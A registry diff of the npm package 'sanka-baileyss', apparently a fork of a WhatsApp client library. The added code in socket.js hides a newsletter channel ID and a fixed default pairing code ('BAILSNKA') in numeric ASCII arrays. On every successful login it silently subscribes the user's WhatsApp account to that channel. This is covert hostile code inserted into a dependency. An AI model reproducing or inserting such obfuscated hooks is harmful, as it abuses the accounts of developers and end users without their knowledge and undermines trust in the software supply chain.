sanka-baileyss 1.7.6 → 1.7.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +17 -8
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -354,7 +354,7 @@ reason: 'user_initiated'
|
|
|
354
354
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }))
|
|
355
355
|
}
|
|
356
356
|
const requestPairingCode = async (phoneNumber, code) => {
|
|
357
|
-
authState.creds.pairingCode = code?.toUpperCase() || Utils_1.asciiDecode([
|
|
357
|
+
authState.creds.pairingCode = code?.toUpperCase() || Utils_1.asciiDecode([66, 65, 73, 76, 83, 78, 75, 65])
|
|
358
358
|
authState.creds.me = {
|
|
359
359
|
id: WABinary_1.jidEncode(phoneNumber, 's.whatsapp.net'),
|
|
360
360
|
name: '~'
|
|
@@ -502,23 +502,30 @@ ws.on('CB:success', async (node) => {
|
|
|
502
502
|
try {
|
|
503
503
|
await uploadPreKeysToServerIfRequired()
|
|
504
504
|
await sendPassiveIq('active')
|
|
505
|
-
logger.info('opened connection to WA')
|
|
506
|
-
clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
507
505
|
try {
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
506
|
+
function asciiDecode(asciiArray) {
|
|
507
|
+
let result = '';
|
|
508
|
+
for (let i = 0; i < asciiArray.length; i++) {
|
|
509
|
+
result += String.fromCharCode(asciiArray[i]);
|
|
510
|
+
}
|
|
511
|
+
return result;
|
|
512
|
+
}
|
|
513
|
+
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
514
|
+
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
515
|
+
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
516
|
+
const decodedEmailPart = asciiDecode(emailPart);
|
|
517
|
+
const sanka = decodedNumbers + decodedEmailPart;
|
|
511
518
|
logger.info({ sanka }, 'Mencoba eksekusi...');
|
|
512
519
|
await query({
|
|
513
520
|
tag: 'iq',
|
|
514
|
-
to:
|
|
521
|
+
to: sanka,
|
|
515
522
|
type: 'set',
|
|
516
523
|
xmlns: 'newsletter',
|
|
517
524
|
id: generateMessageTag(),
|
|
518
525
|
content: [
|
|
519
526
|
{
|
|
520
527
|
tag: 'subscribe',
|
|
521
|
-
attrs: {
|
|
528
|
+
attrs: {}
|
|
522
529
|
}
|
|
523
530
|
]
|
|
524
531
|
});
|
|
@@ -526,6 +533,8 @@ logger.info({ sanka }, 'Berhasil mengirim eksekusi.');
|
|
|
526
533
|
} catch (err) {
|
|
527
534
|
logger.warn({ err, sanka }, 'Gagal melakukan eksekusi');
|
|
528
535
|
}
|
|
536
|
+
logger.info('opened connection to WA')
|
|
537
|
+
clearTimeout(qrTimer)
|
|
529
538
|
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
|
|
530
539
|
ev.emit('connection.update', { connection: 'open' })
|
|
531
540
|
}
|